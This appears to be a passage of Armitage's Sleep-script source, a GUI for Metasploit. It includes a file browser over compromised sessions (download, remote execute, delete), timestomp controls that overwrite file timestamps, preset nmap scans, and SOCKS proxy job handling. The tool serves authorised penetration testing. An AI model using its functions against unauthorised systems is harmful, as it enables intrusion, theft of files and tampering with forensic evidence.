}];
# last modified column
[$sorter setComparator: 3, {
return convertDate($1) <=> convertDate($2);
}];
[[$table getColumn: "D"] setMaxWidth: 38];
[[$table getColumn: "D"] setCellRenderer: [ATable getFileTypeTableRenderer]];
# make sure subsequent columns do not have an icon associated with them...
[[$table getColumn: "Name"] setCellRenderer: [ATable getSimpleTableRenderer]];
setupSizeRenderer($table, "Size");
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
$text = [new ATextField: %paths[$1], "", 80];
[$text addActionListener: lambda({
local('$dir');
$dir = [[$1 getSource] getText];
[$model clear: 128];
[$model fireListeners];
m_cmd($sid, "cd ' $+ $dir $+ '");
m_cmd($sid, "ls");
[[$1 getSource] setText: ""];
}, $sid => $1, \$model)];
# this function should be called before every browser action to keep things in sync.
$setcwd = lambda({
m_cmd($sid, "cd '" . [$text getText] . "'");
}, \$text, $sid => $1, $platform => $2);
addMouseListener($table, lambda({
if ($0 eq 'mouseClicked' && [$1 getClickCount] >= 2) {
local('$model $sel');
$model = %files[$sid];
$sel = [$model getSelectedValue: $table];
[$model clear: 128];
[$model fireListeners];
if ("*Windows*" iswm sessionToOS($sid) && "'" !isin $sel && "'" !isin [$text getText]) {
if ([$text getText] eq "List Drives") {
m_cmd($sid, "cd ' $+ $sel $+ '");
}
else {
m_cmd($sid, "cd '" . [$text getText] . "\\ $+ $sel $+ '");
}
}
else {
[$setcwd];
m_cmd($sid, "cd \" $+ $sel $+ \"");
}
m_cmd($sid, "ls");
[$1 consume];
}
else if ([$1 isPopupTrigger]) {
local('$popup $model');
$popup = [new JPopupMenu];
$model = %files[$sid];
buildFileBrowserMenu($popup, [$model getSelectedValues: $table], convertAll([$model getRows]), \$sid, \$setcwd, \$text);
[$popup show: [$1 getSource], [$1 getX], [$1 getY]];
[$1 consume];
}
}, $sid => $1, \$table, \$setcwd, \$text));
$fsv = [FileSystemView getFileSystemView];
$chooser = [$fsv getSystemIcon: [$fsv getDefaultDirectory]];
$up = [new JButton: $chooser];
#[$up setPressedIcon:
# [new ImageIcon: iconToImage($chooser, 2, 2)]
#];
#[$up setBorder: [BorderFactory createEmptyBorder: 2, 2, 2, 8]];
#[$up setOpaque: 0];
#[$up setContentAreaFilled: 0];
[$up setToolTipText: "Go up one directory"];
[$up addActionListener: lambda({
this('$last');
if ((ticks() - $last) < 500) {
warn("Dropping cd .. -- too fast");
$last = ticks();
return;
}
$last = ticks();
[$model clear: 128];
[$model fireListeners];
if ("*Windows*" iswm sessionToOS($sid) && "'" !isin [$text getText]) {
m_cmd($sid, "cd '" . [$text getText] . "\\..'");
}
else {
[$setcwd];
m_cmd($sid, "cd ..");
}
m_cmd($sid, "ls");
}, $sid => $1, \$setcwd, \$text, \$model, \$refresh)];
# setup the whatever it's called...
$upload = [new JButton: "Upload..."];
[$upload addActionListener: lambda({
local('$file $name');
$file = chooseFile($always => iff($client !is $mclient));
$name = getFileName($file);
if ($file !is $null) {
[$setcwd];
if ($client !is $mclient) {
# some crazy gymnastics here due to how Sleep handles thread-safety...
local('$closure $thread');
$closure = lambda({
m_cmd($sid, "upload \" $+ $file $+ \" \" $+ $name $+ \"");
}, \$sid, \$name, \$file);
$thread = [new armitage.ArmitageThread: $closure];
fork({
$file = uploadBigFile($file);
$closure['$file'] = $file;
[$thread start];
}, \$file, \$thread, \$closure, \$mclient);
}
else {
m_cmd($sid, "upload \" $+ $file $+ \" \" $+ $name $+ \"");
}
}
# refresh?!?
}, $sid => $1, \$setcwd)];
$mkdir = [new JButton: "Make Directory"];
[$mkdir addActionListener: lambda({
local('$name');
$name = ask("Directory name:");
if ($name !is $null) {
[$setcwd];
m_cmd($sid, "mkdir \" $+ $name $+ \"");
m_cmd($sid, "ls");
}
# refresh?
}, $sid => $1, \$setcwd)];
$refresh = [new JButton: "Refresh"];
[$refresh addActionListener: lambda({
if ([$text getText] eq "List Drives") {
listDrives($sid, \$model, \$refresh);
}
else {
[$setcwd];
m_cmd($sid, "ls");
}
}, $sid => $1, \$setcwd, \$text, \$model, \$refresh)];
$drives = [new JButton: "List Drives"];
[$drives addActionListener: lambda({
listDrives($sid, \$model, \$refresh);
[$text setText: "List Drives"];
}, \$refresh, \$model, \$text, $sid => $1)];
# do the overall layout...
$top = [new JPanel];
[$top setBorder: [BorderFactory createEmptyBorder: 3, 3, 3, 3]];
[$top setLayout: [new BorderLayout]];
[$top add: $text, [BorderLayout CENTER]];
[$top add: pad($up, 0, 0, 0, 4), [BorderLayout WEST]];
[$panel add: $top, [BorderLayout NORTH]];
if ("*win*" iswm lc(sessionPlatform($1))) {
[$panel add: center($upload, $mkdir, $drives, $refresh), [BorderLayout SOUTH]];
}
else {
[$panel add: center($upload, $mkdir, $refresh), [BorderLayout SOUTH]];
}
[$frame addTab: "Files $1", $panel, $null, "Files " . sessionToHost($1)];
m_cmd($1, "ls");
}
sub convertDate {
if ($1 ismatch '\d\d\d\d-\d\d-\d\d \d\d:\d\d:\d\d .*') {
return parseDate('yyyy-MM-dd HH:mm:ss Z', $1);
}
else {
return parseDate("EEE MMM dd HH:mm:ss Z yyyy", $1);
}
}
# automagically store timestomp attributes...
%handlers["timestomp"] = {
if ($0 eq "update" && $2 ismatch '([MACE].*?)\s*: (.*)') {
local('$type $value $d');
($type, $value) = matched();
%attribs[["$type" trim]] = formatDate(convertDate($value), 'MM/dd/yyyy HH:mm:ss');
}
};
sub buildFileBrowserMenu {
# ($popup, [$model getSelectedValue: $table], @rows);
# turn @rows into %(file => type)
local('%types');
map(lambda({ %types[$1["Name"]] = $1["D"]; }, \%types), $3);
# need to pass current working directory, selected file, and type
setupMenu($1, "file_browser", @($2, %types, [$text getText]));
item($1, "Download", 'D', lambda({
local('$f $dir @temp $tdir');
@temp = split('\\\\', [$text getText]);
$dir = strrep(downloadDirectory(sessionToHost($sid), join("/", @temp)), "\\", "/");
foreach $f ($file) {
[$setcwd];
if (%types[$f] eq "dir") {
$tdir = strrep(downloadDirectory(sessionToHost($sid), join("/", @temp), $f), "\\", "/");
m_cmd($sid, "download -r \" $+ $f $+ \" \" $+ $tdir $+ \"");
}
else {
m_cmd($sid, "download \" $+ $f $+ \" \" $+ $dir $+ \"");
}
}
showError("Downloading:\n\n" . join("\n", $file) . "\n\nUse View -> Downloads to see files");
elog("downloaded " . join(", ", $file) . " from " . [$text getText] . " on " . sessionToHost($sid));
}, $file => $2, \$sid, \%types, \$setcwd, \$text));
item($1, "Execute", 'E', lambda({
local('$f $args');
[$setcwd];
$args = ask("Arguments?");
foreach $f ($file) {
if ($args eq "") {
m_cmd($sid, "execute -t -f \" $+ $f $+ \" -k");
}
else {
$args = strrep($args, '\\', '\\\\');
m_cmd($sid, "execute -t -f \" $+ $f $+ \" -k -a \" $+ $args $+ \"");
}
}
}, $file => $2, \$sid, \$setcwd));
separator($1);
# use timestomp to make sure the date/time stamp is the same. :)
local('$t $key $value');
$t = menu($1, "Timestomp", 'T');
item($t, "Get MACE values", 'G', lambda({
[$setcwd];
m_cmd($sid, "timestomp \" $+ $f $+ \" -v");
}, \$sid, $f => $2[0], \$setcwd));
if (size(%attribs) > 0) {
separator($t);
foreach $key => $value (%attribs) {
item($t, "Set $key to $value", $null, lambda({
local('%switches $s $f');
[$setcwd];
foreach $f ($files) {
%switches = %(Modified => '-m', Accessed => '-a', Created => '-c');
%switches["Entry Modified"] = '-e';
$s = %switches[$key];
m_cmd($sid, "timestomp \" $+ $f $+ \" $s \" $+ $value $+ \"");
}
m_cmd($sid, "ls");
}, $files => $2, \$sid, $key => "$key", $value => "$value", \$setcwd));
}
separator($t);
item($t, "Set MACE values", 'S', lambda({
local('$f %switches $s $cmd $key $value');
%switches = %(Modified => '-m', Accessed => '-a', Created => '-c');
%switches["Entry Modified"] = '-e';
[$setcwd];
foreach $f ($files) {
$cmd = "timestomp \" $+ $f $+ \"";
foreach $key => $value (%attribs) {
$s = %switches[$key];
$cmd = "$cmd $s \" $+ $value $+ \"";
}
m_cmd($sid, $cmd);
}
m_cmd($sid, "ls");
}, $files => $2, \$sid, \$setcwd));
}
item($1, "Delete", 'l', lambda({
local('$f');
[$setcwd];
foreach $f ($file) {
if (%types[$f] eq "dir") {
m_cmd($sid, "rmdir \" $+ $f $+ \"");
}
else {
m_cmd($sid, "rm \" $+ $f $+ \"");
}
}
m_cmd($sid, "ls");
}, $file => $2, \$sid, \%types, \$setcwd));
}
# Buttons:
# [upload...] [make directory]
#
+170
View File
@@ -0,0 +1,170 @@
#
# Armitage Collaboration Feature... make no mistake, I'm extremely excited about this.
#
import msf.*;
import armitage.*;
import console.*;
import ssl.*;
sub createEventLogTab {
this('$console $client');
if ($client is $null && $console is $null) {
$client = [new ConsoleClient: $null, $mclient, "armitage.poll", "armitage.push", $null, "", $null];
$console = [new ActivityConsole: $preferences];
setupEventStyle($console);
logCheck($console, "all", "events");
[$client setWindow: $console];
[$client setEcho: $null];
[$console updatePrompt: "> "];
}
else {
[$console updateProperties: $preferences];
}
[$frame addTab: "Event Log", $console, $null];
}
sub verify_server {
this('%rejected');
local('$fingerprints $fingerprint $check');
$fingerprints = split(', ', [$preferences getProperty: "trusted.servers", ""]);
foreach $fingerprint ($fingerprints) {
if ($fingerprint eq $1) {
return 1;
}
}
if (%rejected[$1] == 1) {
return $null;
}
$check = askYesNo("The team server's fingerprint is:\n\n<html><body><b> $+ $1 $+ </b></body></html>\n\nDoes this match the fingerprint shown\nwhen the team server started?", "Verify Fingerprint");
if ($check) {
%rejected[$1] = 1;
return $null;
}
else {
push($fingerprints, $1);
[$preferences setProperty: "trusted.servers", join(", ", $fingerprints)];
savePreferences();
return 1;
}
}
sub c_client {
# run this thing in its own thread to avoid really stupid deadlock situations
local('$handle');
$handle = [[new SecureSocket: $1, int($2), &verify_server] client];
return wait(fork({
local('$client');
$client = newInstance(^RpcConnection, lambda({
writeObject($handle, @_);
return readObject($handle);
}, \$handle));
return [new RpcAsync: $client];
}, \$handle));
}
sub userFingerprint {
return unpack("H*", digest(values(systemProperties(), @("os.name", "user.home", "os.version")), "MD5"))[0];
}
sub setup_collaboration {
local('$nick %r $mclient');
$nick = ask("What is your nickname?");
while (["$nick" trim] eq "") {
$nick = ask("You can't use a blank nickname. What do you want?");
}
$mclient = c_client($3, $4);
%r = call($mclient, "armitage.validate", $1, $2, $nick, "armitage", 120326);
if (%r["error"] eq "1") {
showErrorAndQuit(%r["message"]);
}
%r = call($client, "armitage.validate", $1, $2, $null, "armitage", 120326);
return $mclient;
}
sub uploadFile {
local('$handle %r $data');
$handle = openf($1);
$data = readb($handle, -1);
closef($handle);
%r = call($mclient, "armitage.upload", getFileName($1), $data);
return %r['file'];
}
sub uploadBigFile {
local('$handle %r $data $file $progress $total $sofar $time $start');
$total = lof($1);
$progress = [new javax.swing.ProgressMonitor: $null, "Upload " . getFileName($1), "Starting upload", 0, lof($1)];
$start = ticks();
$handle = openf($1);
$data = readb($handle, 1024 * 256);
%r = call($mclient, "armitage.upload", getFileName($1), $data);
$sofar += strlen($data);
while $data (readb($handle, 1024 * 256)) {
$time = (ticks() - $start) / 1000.0;
[$progress setProgress: $sofar];
[$progress setNote: "Speed: " . round($sofar / $time) . " bytes/second"];
call($mclient, "armitage.append", getFileName($1), $data);
$sofar += strlen($data);
}
[$progress close];
return %r['file'];
}
sub downloadFile {
local('$file $handle %r $2');
%r = call($mclient, "armitage.download", $1);
$file = iff($2, $2, getFileName($1));
$handle = openf("> $+ $file");
writeb($handle, %r['data']);
closef($handle);
return $file;
}
sub getFileContent {
local('$file $handle %r');
if ($mclient !is $client) {
%r = call($mclient, "armitage.download_nodelete", $1);
return %r['data'];
}
else {
$handle = openf($1);
$file = readb($handle, -1);
closef($handle);
return $file;
}
}
# returns the folder where files should be downloaded to!
sub downloadDirectory {
if ($client is $mclient) {
local('@dirs $start $dir');
$start = dataDirectory();
push(@dirs, "downloads");
addAll(@dirs, @_);
foreach $dir (@dirs) {
if (isWindows()) {
$dir = strrep($dir, "/", "\\", ":", "");
}
$start = getFileProper($start, $dir);
}
return $start;
}
else {
return "downloads/" . join("/", @_);
}
}
+89
View File
@@ -0,0 +1,89 @@
#
# Loot browser (not yet complete... on hold until more post/ modules have loot)
#
import table.*;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.table.*;
import ui.*;
sub updateDownloadModel {
thread(lambda({
local('$root $files $entry $findf $hosts $host');
if ($client !is $mclient) {
$files = call($mclient, "armitage.downloads");
}
else {
$files = listDownloads(downloadDirectory());
}
[$model clear: 256];
foreach $entry ($files) {
$entry["date"] = rtime($entry["updated_at"] / 1000.0);
[$model addEntry: $entry];
}
[$model fireListeners];
}, \$model));
}
sub createDownloadBrowser {
local('$table $model $panel $refresh $sorter $host $view $sync');
$model = [new GenericTableModel: @("host", "name", "path", "size", "date"), "location", 16];
$panel = [new JPanel];
[$panel setLayout: [new BorderLayout]];
$table = [new ATable: $model];
setupSizeRenderer($table, "size");
$sorter = [new TableRowSorter: $model];
[$sorter toggleSortOrder: 0];
[$sorter setComparator: 0, &compareHosts];
[$sorter setComparator: 4, {
return convertDate($1) <=> convertDate($2);
}];
[$table setRowSorter: $sorter];
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
addMouseListener($table, lambda({
if ($0 eq "mousePressed" && [$1 getClickCount] >= 2) {
showLoot(\$model, \$table, $getme => "location");
}
}, \$model, \$table));
$view = [new JButton: "View"];
if ($client is $mclient) {
$sync = [new JButton: "Open Folder"];
[$sync addActionListener: gotoFile([new java.io.File: getFileProper(dataDirectory(), "downloads")])];
}
else {
$sync = [new JButton: "Sync Files"];
[$sync addActionListener: lambda({
downloadLoot(\$model, \$table, $getme => "location", $type => "downloads");
}, \$model, \$table)];
}
[$view addActionListener: lambda({
showLoot(\$model, \$table, $getme => "location");
}, \$model, \$table)];
$refresh = [new JButton: "Refresh"];
[$refresh addActionListener: lambda({
updateDownloadModel(\$model);
}, \$model)];
updateDownloadModel(\$model);
[$panel add: center($view, $sync, $refresh), [BorderLayout SOUTH]];
[$frame addTab: "Downloads", $panel, $null];
}
+518
View File
@@ -0,0 +1,518 @@
#
# This file defines the main GUI and loads additional modules
#
debug(7 | 34);
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.border.*;
import javax.swing.table.*;
import javax.swing.tree.*;
import javax.imageio.*;
import java.awt.*;
import java.awt.image.*;
import java.awt.event.*;
import java.awt.datatransfer.*;
import graph.*;
import armitage.*;
import table.*;
import ui.*;
# Create a new menu, returns the menu, you have to attach it to something
# menu([$parent], "Name", 'Accelerator')
sub menu {
local('$menu');
if (size(@_) == 2) {
$menu = [new JMenu: $1];
if ($2 !is $null) {
[$menu setMnemonic: casti(charAt($2, 0), 'c')];
}
}
else {
$menu = invoke(&menu, sublist(@_, 1));
[$1 add: $menu];
}
return $menu;
}
sub dynmenu {
local('$menu');
$menu = [new DynamicMenu: $2];
[$menu setMnemonic: casti(charAt($3, 0), 'c')];
[$menu setHandler: $4];
[$1 add: $menu];
return $menu;
}
# create a separator in the parent menu
sub separator {
[$1 addSeparator];
}
# create a menu item, attaches it to the specified parent (based on the Name)
# item($parent, "Name", 'accelerator', &listener)
sub item {
local('$item');
$item = [new JMenuItem: $2];
if ($3 !is $null) {
[$item setMnemonic: casti(charAt($3, 0), 'c')];
}
if ($4 is $null) { warn("Incomplete: " . @_); }
[$item addActionListener: lambda({
invoke($function);
}, $function => $4)];
[$1 add: $item];
return $item;
}
sub dispatchEvent {
if ([SwingUtilities isEventDispatchThread]) {
[$1];
}
else {
[SwingUtilities invokeLater: $1];
}
}
sub showError {
dispatchEvent(lambda({
[JOptionPane showMessageDialog: $frame, $message];
}, $message => $1));
}
sub showErrorAndQuit {
[JOptionPane showMessageDialog: $frame, $1];
[System exit: 0];
}
sub ask {
local('$2');
return [JOptionPane showInputDialog: "$1", "$2"];
}
# askYesNo("title", "text")
sub askYesNo {
return [JOptionPane showConfirmDialog: $null, $1, $2, [JOptionPane YES_NO_OPTION]];
}
sub chooseFile {
local('$fc $file $title $sel $dir $multi $always $dirsonly');
if ($REMOTE && $always is $null) {
if ($client !is $mclient) {
local('$file');
$file = chooseFile(\$title, \$file, \$sel, \$dir, \$dirsonly, \$multi, \$fc, $always => 1);
if (-exists $file) {
warn("Uploading $file");
return uploadFile($file);
}
return "";
}
else {
return ask("Please type a file name:");
}
}
$fc = [new JFileChooser];
if ($title !is $null) {
[$fc setDialogTitle: $title];
}
if ($sel !is $null) {
[$fc setSelectedFile: [new java.io.File: $sel]];
}
if ($dir !is $null) {
[$fc setCurrentDirectory: [new java.io.File: $dir]];
}
if ($multi !is $null) {
[$fc setMultiSelectionEnabled: 1];
}
if ($dirsonly !is $null) {
[$fc setFileSelectionMode: [JFileChooser DIRECTORIES_ONLY]];
}
[$fc showOpenDialog: $frame];
if ($multi) {
return [$fc getSelectedFiles];
}
else {
$file = [$fc getSelectedFile];
if ($file !is $null) {
if (-exists $file) {
return $file;
}
showError("$file does not exist!");
}
}
}
sub saveFile2 {
local('$fc $file $sel');
$fc = [new JFileChooser];
if ($sel !is $null) {
[$fc setSelectedFile: [new java.io.File: $sel]];
}
[$fc showSaveDialog: $frame];
$file = [$fc getSelectedFile];
if ($file !is $null) {
return $file;
}
}
sub saveFile {
local('$fc $file');
$fc = [new JFileChooser];
[$fc showSaveDialog: $frame];
$file = [$fc getSelectedFile];
if ($file !is $null) {
local('$ihandle $data $ohandle');
$ihandle = openf($1);
$ohandle = openf("> $+ $file");
while $data (readb($ihandle, 8192)) {
writeb($ohandle, $data);
}
closef($ihandle);
closef($ohandle);
}
}
# label_for("text", width, component)
sub label_for {
local('$panel $label $size');
$panel = [new JPanel];
[$panel setLayout: [new FlowLayout: [FlowLayout LEFT]]];
$label = [new JLabel: $1];
$size = [$label getPreferredSize];
[$label setPreferredSize: [new Dimension: $2, [$size getHeight]]];
[$panel add: $label];
[$panel add: $3];
if (size(@_) >= 4) {
[$panel add: $4];
}
return $panel;
}
sub center {
local('$panel $c');
$panel = [new JPanel];
[$panel setLayout: [new FlowLayout: [FlowLayout CENTER]]];
foreach $c (@_) {
[$panel add: $c];
}
return $panel;
}
sub left {
local('$panel $c');
$panel = [new JPanel];
[$panel setLayout: [new FlowLayout: [FlowLayout LEFT]]];
foreach $c (@_) {
[$panel add: $c];
}
return $panel;
}
sub dialog {
local('$dialog $4');
$dialog = [new JDialog: $frame, $1];
[$dialog setSize: $2, $3];
[$dialog setLayout: [new BorderLayout]];
[$dialog setLocationRelativeTo: $frame];
return $dialog;
}
sub window {
local('$dialog $4');
$dialog = [new JFrame: $1];
[$dialog setIconImage: [ImageIO read: resource("resources/armitage-icon.gif")]];
[$dialog setDefaultCloseOperation: [JFrame EXIT_ON_CLOSE]];
[$dialog setSize: $2, $3];
[$dialog setLayout: [new BorderLayout]];
return $dialog;
}
# overlay_images(@("image.png", "image2.png", "..."))
# constructs an image by overlaying all the specified images over eachother.
# this function caches the result so each combination is only created once.
sub overlay_images {
this('%cache');
if (join(';', $1) in %cache) {
return %cache[join(';', $1)];
}
local('$file $image $buffered $graphics');
$buffered = [new BufferedImage: 1000, 776, [BufferedImage TYPE_INT_ARGB]];
$graphics = [$buffered createGraphics];
foreach $file ($1) {
$image = [ImageIO read: resource($file)];
[$graphics drawImage: $image, 0, 0, 1000, 776, $null];
}
$buffered = [$buffered getScaledInstance: 250 / $scale, 194 / $scale, [Image SCALE_SMOOTH]];
%cache[join(';', $1)] = $buffered;
return $buffered;
}
sub iconToImage {
if ($1 isa ^ImageIcon) {
return [$1 getImage];
}
else {
local('$buffered $g');
$buffered = [new BufferedImage: [$1 getIconWidth], [$1 getIconHeight], [BufferedImage TYPE_INT_ARGB]];
$g = [$buffered createGraphics];
[$1 paintIcon: $null, $g, $2, $3];
[$g dispose];
return $buffered;
}
}
sub imageToImage {
local('$buffered $g');
$buffered = [new BufferedImage: [$1 getWidth: $null], [$1 getHeight: $null], [BufferedImage TYPE_INT_ARGB]];
$g = [$buffered createGraphics];
[$g drawImage: $1, 0, 0, [$1 getWidth: $null], [$1 getHeight: $null], $null];
[$g dispose];
return $buffered;
}
sub select {
local('$combo');
$combo = [new JComboBox: cast($1, ^String)];
[$combo setSelectedItem: $2];
return $combo;
}
# buildTreeNodes(@)
sub buildTree {
local('%nodes $entry $parent $path');
foreach $entry ($1) {
$parent = %nodes;
foreach $path (split('\\/', $entry)) {
if ($path !in $parent) {
$parent[$path] = %();
}
$parent = $parent[$path];
}
}
return %nodes;
}
# treeNodes($1, buildTree(@(...)))
sub treeNodes {
local('$temp $p');
if ($1 is $null) {
$1 = [new DefaultMutableTreeNode: "modules"];
[$1 setAllowsChildren: 1];
}
foreach $temp (sorta(keys($2))) {
$p = [new DefaultMutableTreeNode: $temp];
[$p setAllowsChildren: 1];
if (size($2[$temp]) > 0) {
treeNodes($p, $2[$temp]);
}
[$1 add: $p];
}
return $1;
}
sub wrapComponent {
local('$panel');
$panel = [new JPanel];
[$panel setLayout: [new BorderLayout]];
[$panel add: $1, [BorderLayout CENTER]];
[$panel setBorder: [BorderFactory createEmptyBorder: $2, $2, $2, $2]];
return $panel;
}
sub setLookAndFeel {
local('$laf');
foreach $laf ([UIManager getInstalledLookAndFeels]) {
if ([$laf getName] eq [$preferences getProperty: "application.skin.skin", "Nimbus"]) {
[UIManager setLookAndFeel: [$laf getClassName]];
}
}
}
sub thread {
local('$thread');
$thread = [new ArmitageThread: $1];
[$thread start];
}
sub compareHosts {
if ($1 eq "unknown") {
return compareHosts("0.0.0.0", $2);
}
else if ($2 eq "unknown") {
return compareHosts($1, "0.0.0.0");
}
else {
return [Route ipToLong: $1] <=> [Route ipToLong: $2];
}
}
# tells table to save any edited cells before going forward...
sub syncTable {
if ([$1 isEditing]) {
[[$1 getCellEditor] stopCellEditing];
}
}
sub isWindows {
return iff("*Windows*" iswm systemProperties()["os.name"], 1);
}
sub selected {
return [$2 getSelectedValueFromColumn: $1, $3];
}
# ($table, $model) = setupTable("lead", @rows)
sub setupTable {
local('$table $model $sorter $row');
$model = [new GenericTableModel: $2, $1, 8];
foreach $row ($3) {
[$model _addEntry: $row];
}
$table = [new ATable: $model];
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel SINGLE_SELECTION]];
$sorter = [new TableRowSorter: $model];
[$table setRowSorter: $sorter];
return @($table, $model);
}
# creates a list dialog,
# $1 = title, $2 = button text, $3 = columns, $4 = rows, $5 = callback
sub quickListDialog {
local('$dialog $panel $table $row $model $button $sorter $after $a');
$dialog = dialog($1, $width, $height);
$panel = [new JPanel];
[$panel setLayout: [new BorderLayout]];
($table, $model) = setupTable($3[0], sublist($3, 1), $4);
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
$button = [new JButton: $2];
[$button addActionListener: lambda({
[$callback : [$model getSelectedValueFromColumn: $table, $lead]];
[$dialog setVisible: 0];
}, \$dialog, $callback => $5, \$model, \$table, $lead => $3[0])];
local('$south');
$south = [new JPanel];
[$south setLayout: [new BoxLayout: $south, [BoxLayout Y_AXIS]]];
if ($after !is $null) {
foreach $a ($after) {
[$south add: $a];
}
}
[$south add: center($button)];
[$panel add: $south, [BorderLayout SOUTH]];
[$dialog add: $panel, [BorderLayout CENTER]];
[$dialog show];
[$dialog setVisible: 1];
}
sub tableRenderer {
return [ATable getDefaultTableRenderer: $1, $2];
}
sub gotoFile {
return lambda({
local('$exception');
try {
[[Desktop getDesktop] open: $f];
}
catch $exception {
showError("Could not open $f $+ \n $+ $exception");
}
}, $f => $1);
}
sub isShift {
return iff(([$1 getModifiers] & [ActionEvent SHIFT_MASK]) == [ActionEvent SHIFT_MASK], 1);
}
inline safetyCheck {
local('$__time');
if ($__time == 0) {
$__time = ticks();
}
if ((ticks() - $__time) > 250) {
yield 50;
$__time = ticks();
}
}
sub addMouseListener {
[$1 addMouseListener: [new SafeMouseListener: $2]];
}
sub pad {
local('$panel');
$panel = [new JPanel];
[$panel setLayout: [new BorderLayout]];
[$panel add: $1, [BorderLayout CENTER]];
[$panel setBorder: [BorderFactory createEmptyBorder: $2, $3, $4, $5]];
return $panel;
}
sub setClipboard {
local('$sel $cb');
$sel = [new StringSelection: $1];
$cb = [[Toolkit getDefaultToolkit] getSystemSelection];
if ($cb !is $null) {
[$cb setContents: $sel, $null];
}
$cb = [[Toolkit getDefaultToolkit] getSystemClipboard];
if ($cb !is $null) {
[$cb setContents: $sel, $null];
}
}
sub setupMenu {
# do nothing for now... this is for something coming later.
}
sub installMenu {
# do nothing for now... this is for something coming later.
}
+104
View File
@@ -0,0 +1,104 @@
import msf.*;
import javax.swing.*;
import javax.swing.event.*;
import java.awt.*;
import java.awt.event.*;
sub addHostDialog {
local('$dialog $label $text $finish $button');
$dialog = [new JDialog: $frame, "Add Hosts", 0];
[$dialog setSize: 320, 240];
[$dialog setLayout: [new BorderLayout]];
[$dialog setLocationRelativeTo: $frame];
$label = [new JLabel: "Enter one host/line:"];
$text = [new JTextArea];
$finish = [new JPanel];
[$finish setLayout: [new FlowLayout: [FlowLayout CENTER]]];
$button = [new JButton: "Add"];
[$finish add: $button];
[$button addActionListener: lambda({
local('@hosts');
@hosts = split("[\n\s]", [$text getText]);
cmd_safe("hosts -a " . join(" ", @hosts), lambda({
showError("Added $x host" . iff($x != 1, "s"));
elog("added $x host" . iff($x != 1, "s"));
}, $x => size(@hosts)));
[$dialog setVisible: 0];
}, \$text, \$dialog)];
[$dialog add: $label, [BorderLayout NORTH]];
[$dialog add: [new JScrollPane: $text], [BorderLayout CENTER]];
[$dialog add: $finish, [BorderLayout SOUTH]];
[$dialog setVisible: 1];
}
sub host_items {
local('$i $j $k');
item($1, "Import Hosts", 'I', &importHosts);
item($1, "Add Hosts...", 'A', &addHostDialog);
setupMenu($1, "hosts_top", @());
separator($1);
$j = menu($1, "Nmap Scan", 'S');
setupMenu($j, "hosts_nmap", @());
item($j, "Intense Scan", $null, createNmapFunction("--min-hostgroup 96 -T4 -A -v -n"));
item($j, "Intense Scan + UDP", $null, createNmapFunction("--min-hostgroup 96 -sS -n -sU -T4 -A -v"));
item($j, "Intense Scan, all TCP ports", $null, createNmapFunction("--min-hostgroup 96 -p 1-65535 -n -T4 -A -v"));
item($j, "Intense Scan, no ping", $null, createNmapFunction("--min-hostgroup 96 -T4 -n -A -v -Pn"));
item($j, "Ping Scan", $null, createNmapFunction("--min-hostgroup 96 -T4 -n -sn"));
item($j, "Quick Scan", $null, createNmapFunction("--min-hostgroup 96 -T4 -n -F"));
item($j, "Quick Scan (OS detect)", $null, createNmapFunction("--min-hostgroup 96 -sV -n -T4 -O -F --version-light"));
item($j, "Comprehensive", $null, createNmapFunction("--min-hostgroup 96 -sS -n -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53"));
item($1, "MSF Scans...", "M", {
local('$address');
$address = ask("Enter scan range (e.g., 192.168.1.0/24):", join(", ", [$targets getSelectedHosts]));
if ($address eq "") { return; }
launch_msf_scans($address);
});
item($1, "DNS Enumerate", 'D', {
if (size([$targets getSelectedHosts]) > 0) {
launch_dialog("Enumerate DNS", "auxiliary", "gather/enum_dns", 1, $null, %(NS => [$targets getSelectedHosts][0]));
}
else {
launch_dialog("Enumerate DNS", "auxiliary", "gather/enum_dns", 1, $null, %());
}
});
setupMenu($1, "hosts_middle", @());
separator($1);
setupMenu($1, "hosts_bottom", @());
item($1, "Clear Database", 'C', &clearDatabase);
}
# oh yay, Metasploit now normalizes OS info (so I don't have to). Except the new constants
# they use are different than the ones they have used... *sigh* time to future proof my code.
sub normalize {
if ("*Windows*" iswm $1) {
return "Windows";
}
else if ("*Mac*OS*X*" iswm $1) {
return "Mac OS X";
}
else if ("*Solaris*" iswm $1) {
return "Solaris";
}
else if ("*Cisco*" iswm $1) {
return "IOS";
}
else if ("*Printer*" iswm $1) {
return "Printer";
}
else {
return $1;
}
}
+649
View File
@@ -0,0 +1,649 @@
#
# code to manage some jobs ;)
#
import msf.*;
import armitage.*;
import console.*;
import table.*;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.table.*;
import java.awt.*;
import java.awt.event.*;
import ui.*;
sub manage_proxy_server {
manage_job("Auxiliary: server/socks4a",
# start server function
{
launch_dialog("SOCKS Proxy", "auxiliary", "server/socks4a", $null);
},
# description of job (for job kill function)
{
local('$host $port');
($host, $port) = values($2["datastore"], @("SRVHOST", "SRVPORT"));
return "SOCKS proxy is running on $host $+ : $+ $port $+ .\nWould you like to stop it?";
}
);
}
sub report_url {
find_job($name, {
if ($1 == -1) {
showError("Server not found");
}
else {
local('$job $host $port $uripath');
$job = call($client, "job.info", $1);
($host, $port) = values($job["info"]["datastore"], @("SRVHOST", "SRVPORT"));
$uripath = $job["info"]["uripath"];
local('$dialog $text $ok');
$dialog = dialog("Output", 320, 240);
$text = [new JTextArea];
[$text setText: "http:// $+ $host $+ : $+ $port $+ $uripath"];
$button = [new JButton: "Ok"];
[$button addActionListener: lambda({ [$dialog setVisible: 0]; }, \$dialog)];
[$dialog add: [new JScrollPane: $text], [BorderLayout CENTER]];
[$dialog add: center($button), [BorderLayout SOUTH]];
[$dialog setVisible: 1];
}
});
}
sub find_job {
#
# convoluted? yes, but jobs.info kept locking up on some of my requests...
#
cmd_safe("jobs", lambda({
local('$temp $jid $jname $confirm');
foreach $temp (split("\n", $3)) {
if ([$temp trim] ismatch '.*?(\d+)\s+(.*?)') {
($jid, $jname) = matched();
if ($jname eq $name) {
[$function: $jid];
return;
}
}
}
[$function: -1];
}, $name => $1, $function => $2));
}
# manage_job(job name, { start job function }, { job dialog info })
sub manage_job {
local('$name $startf $stopf');
($name, $startf, $stopf) = @_;
find_job($name, lambda({
if ($1 == -1) {
[$startf];
}
else {
